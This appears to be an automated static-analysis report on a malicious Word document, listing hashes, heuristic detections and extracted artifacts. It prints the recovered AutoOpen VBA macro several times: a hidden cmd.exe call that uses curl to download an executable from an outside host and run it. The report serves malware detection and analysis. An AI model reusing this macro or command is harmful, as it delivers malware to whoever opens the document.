Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 d7d56b643d6a2af6…

MALICIOUS

Office (OOXML) / .DOCX

19.5 KB Authoring application: Microsoft Office Word 12.0000 First seen: 2026-06-15
MD5: 1ff94aeea0b94871e4ddd846e408f78b SHA-1: fcdc39c27a1a8d3b0371e1db160a6b96e22afa46 SHA-256: d7d56b643d6a2af65d843e3cfeb3a2e0e1b75d89d8c49e60919f29b46f2e3616
150 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell("cmd.exe /C curl -O -J -L https://oceaniccolor.com/mp/3AU.exe && 3AU.exe",vbHide)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Call Shell("cmd.exe /C curl -O -J -L https://oceaniccolor.com/mp/3AU.exe && 3AU.exe",vbHide)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://oceaniccolor.com/mp/3AU.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • https://products.aspose.com/words/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 119 bytes
SHA-256: a273743e6336d1bd202ddce5ed4d7b91079796d242be4d5d411fe89e92ad03e9
Preview script
First 1,000 lines of the extracted script
Sub AutoOpen()
Call Shell("cmd.exe /C curl -O -J -L https://oceaniccolor.com/mp/3AU.exe && 3AU.exe",vbHide)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 3584 bytes
SHA-256: 46d809734ce5f9ee628006cb4cf12636da6ed596f1c05165ace1c3e794eee5a3